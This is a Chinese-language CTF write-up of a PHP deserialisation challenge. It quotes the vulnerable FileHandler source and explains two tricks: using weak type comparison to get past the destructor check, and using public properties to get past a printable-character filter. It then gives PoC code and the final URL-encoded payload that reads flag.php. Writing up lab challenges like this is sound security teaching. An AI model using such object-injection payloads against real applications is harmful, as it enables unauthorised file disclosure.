知识点
解题过程
进入题目直接给出代码
代码审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105
| <?php include("flag.php"); highlight_file(__FILE__);
class FileHandler { protected $op; protected $filename; protected $content;
function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); }
public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } }
private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); }
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!"); else $this->output("Failed!");
} else { $this->output("Failed!"); } }
private function read() {
$res = "";
if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res;
}
private function output($s) {
echo "[Result]: <br>"; echo $s;
}
function __destruct() {
if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); } }
function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false;
return true; }
if(isset($_GET{'str'})) { $str = (string)$_GET['str'];
if(is_valid($str)) { $obj = unserialize($str); } }
|
可以看到flag
应该在被包含的flag.php
文件中.分析代码可以看见,从url
中传入的str
参数会被反序列化,而FileHandler
类的实例销毁时会调用process
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| function __destruct() { if($this->op === "2") $this->op = "1";
$this->content = ""; $this->process();
}
public function process() {
if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } }
|
而process()
方法又会根据op属性来进行文件的读写操作
1 2 3 4
| private function read() private function write()
|
因此可以思考出一个大体思路:通过str传入一个恶意的序列化的FileHandler
实例,从而达到文件读取的目的
想要读取文件,需要op参数为"2"
,而__desctruct()
会在检测到op为"2"
之后将其改为"1"
可以注意到process()
中对于op参数的比较使用的是弱类型比较,而__destruce()
中则为严格比较,可以考虑利用这一点来绕过销毁函数中的if条件
pop链构造
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php class FileHandler {
protected $op = 2; protected $filename = "./flag.php"; protected $content = ""; }
$a = new FileHandler(); $str = serialize($a);
echo urlencode($str);
|
然而得出的exp并不能够打成功,这时候需要注意到过滤输入的 is_valid()
这个函数
1 2 3 4 5 6 7 8 9 10
| function is_valid($s) {
for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false;
return true; }
|
限定了字符串内的字符ASCII
在32-125
之间,这之中是不包含NULL
空字符的,而php的反序列化格式中如果属性的访问控制为protected
,则序列化后的字段名前面会加上NULL*NULL
来标识其是protected
的属性,所以这里需要利用PHP的反序列化的机制来绕过
1 2 3
| 当实例字符串被反序列化时,解释器将寻找其所属的类并根据类来还原实例,实例的属性的访问限制类型与类中的不同时,将以类中的访问控制类型为准,因此如果实例字符串中使用public,但类声明中使用protected时,还原后的实例的属性将仍以类声明中的protected为准
|
所以考虑把protected
改为public
,让解释器自己来将其改为protected
,从而达到绕过的目的
真实的POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php class FileHandler {
public $op = 2; public $filename = "./flag.php"; public $content = "";
}
$a = new FileHandler(); $str = serialize($a); echo urlencode($str);
|
这次可以打成功
/?str=O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bi%3A2%3Bs%3A8%3A%22filename%22%3Bs%3A10%3A%22.%2Fflag.php%22%3Bs%3A7%3A%22content%22%3Bs%3A0%3A%22%22%3B%7D
最后有个小坑,flag被放在注释里,需要f12查看